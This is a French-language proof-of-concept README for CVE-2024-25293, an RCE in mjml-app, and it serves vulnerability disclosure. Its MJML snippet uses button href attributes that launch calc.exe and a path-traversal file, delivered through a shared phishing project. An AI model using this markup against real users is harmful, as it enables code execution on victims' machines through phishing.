
mjml-app v3.0.4 & 3.1.0-beta RCE exploit
Une preuve de concept pour la vulnérabilité CVE-2024-25293.
mjml-app v3.0.4 et 3.1.0-beta a été découvert comme contenant une exécution de code à distance (RCE)
Dans ce dépôt se trouve un exemple d'application vulnérable et un exploit de preuve de concept (POC).

Étape 1) L'attaquant crée un 'mj-button' avec une balise 'href' et
<mjml>
<mj-body>
<mj-section>
<mj-column>
<mj-button background-color="#f45e43" color="white" href="C:\Users\EQST\Desktop\jruru\..\jruru_hacked.txt"> jruru </mj-button>
<mj-button background-color="#f45e43" color="white" href="C:Windows/System32/calc.exe"> Code Execution </mj-button>
</mj-column>
</mj-section>
</mj-body>
</mjml>

Étape 2) L'attaquant crée le projet de phishing principal avec le code suivant.
<!-- header.mjml -->
<mj-section>
<mj-column>
<mj-text>This is a demo jruru</mj-text>
</mj-column>
</mj-section>
<!-- main.mjml -->
<mj-include path="./index.mjml" />

Étape 3) La victime ouvre le projet partagé et clique sur le bouton, déclenchant l'exécution du payload (etc., calc, notepad)

L'exécution de fichiers exe via des balises href dans une application est risquée, et l'exécution de fichiers en combinaison avec Path Traversal est une préoccupation de sécurité. Cela permet de créer et de déployer des projets de phishing pour exécuter des fichiers locaux. Par conséquent, il est essentiel de modifier cette fonctionnalité pour empêcher une telle exécution.